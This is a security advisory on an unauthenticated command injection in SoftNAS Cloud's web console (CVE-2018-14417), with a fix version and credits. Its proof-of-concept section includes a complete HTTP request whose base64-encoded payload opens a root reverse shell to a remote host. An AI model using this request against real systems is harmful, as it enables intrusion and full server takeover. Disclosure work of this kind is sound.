    SoftNAS Cloud OS Command Injection
    
    1. *Advisory Information*
    
    Title: SoftNAS Cloud OS Command Injection
    Advisory ID: CORE-2018-0009
    Advisory URL:
    http://www.coresecurity.com/advisories/softnas-cloud-OS-command-injection
    Date published: 2018-07-26
    Date of last update: 2018-05-28
    Vendors contacted: SoftNAS
    Release mode: Coordinated release
    
    2. *Vulnerability Information*
    
    Class:Improper Neutralization of Special Elements used in an OS
    Command [CWE-78]
    Impact: Code execution
    Remotely Exploitable: Yes
    Locally Exploitable: Yes
    CVE Name: CVE-2018-14417
    
    3. *Vulnerability Description*
    
    SoftNAS' website states that:
    
    [1] SoftNAS Cloud is a software-defined NAS filer delivered as a virtual
    storage appliance that runs within public, private or hybrid clouds.
    SoftNAS Cloud provides enterprise-grade NAS capabilities, including
    encryption, snapshots, rapid rollbacks, and cross-zone high-availability
    with automatic failover.
    
    A command injection vulnerability was found in the web administration
    console. In particular, snserv script did not sanitize some input
    parameters before executing a system command.
    
    4. *Vulnerable Packages*
    
    . SoftNAS Cloud versions prior to 4.0.3
    Other products and versions might be affected, but they were not tested.
    
    
    5. *Vendor Information, Solutions and Workarounds*
    
    SoftNAS released SoftNAS Cloud 4.0.3 that addresses the reported
    vulnerability. The software update can be performed via the
    StorageCenter admin UI in the product.
    For more information on the updating process see:
    https://www.softnas.com/docs/softnas/v3/html/updating_to_the_latest_version.html.
    
    In addition, SoftNAS published the following release note:

    6. *Credits*
    
    The vulnerability was discovered and researched by Fernando Diaz and
    Fernando Catoira from Core Security Consulting Services. The publication
    of this advisory was coordinated by Leandro Cuozzo from Core Advisories
    Team.
    
    7. *Technical Description / Proof of Concept Code*
    
    7.1. *Check and execute update functionality abuse leading to command
    execution*
    [CVE-2018-14417]
    The 'recentVersion' parameter from the snserv endpoint is vulnerable to
    OS Command Injection when check and execute update operations are
    performed.
    This endpoint has no authentication/session verification. Therefore, it
    is possible for an unauthenticated attacker to execute malicious code in
    the target server. As the WebServer runs a Sudoer user (apache), the
    malicious code can be executed with root permissions.
    
    The following part of the /etc/sudoers file shows the apache user
    capabilities.
    
    /-----
    User_AliasAPACHE = apache
    # Once SoftNAS UI is operational, only allow the specific command that
    require sudo access!!
    Cmnd_AliasSOFTNAS = ALL
    APACHEALL = (ALL) NOPASSWD: SOFTNAS
    -----/
    
    The following proof of concept generates a remote shell on the target
    system as root:
    
    /-----
    GET
    /softnas/snserver/snserv.php?opcode=checkupdate&opcode=executeupdate&selectedupdate=3.6aaaaaaa.1aaaaaaaaaaaaaa&update_type=standard&recentVersions=3.6aaaaaaaaaaa.1aaaaaaa;echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yLjQ1LjE4NS8xMjM0NSAwPiYx+|+base64+-d+|+sudo+bash;
    HTTP/1.1
    Host: 10.2.45.208
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0)

    Accept-Encoding: gzip, deflate
    Referer: https://10.2.45.208/softnas/applets/update/
    X-Requested-With: XMLHttpRequest
    Connection: close
    -----/
    
    As can be seen in the former request the payload had to be base64
    encoded as some special characters were not being properly decoded.
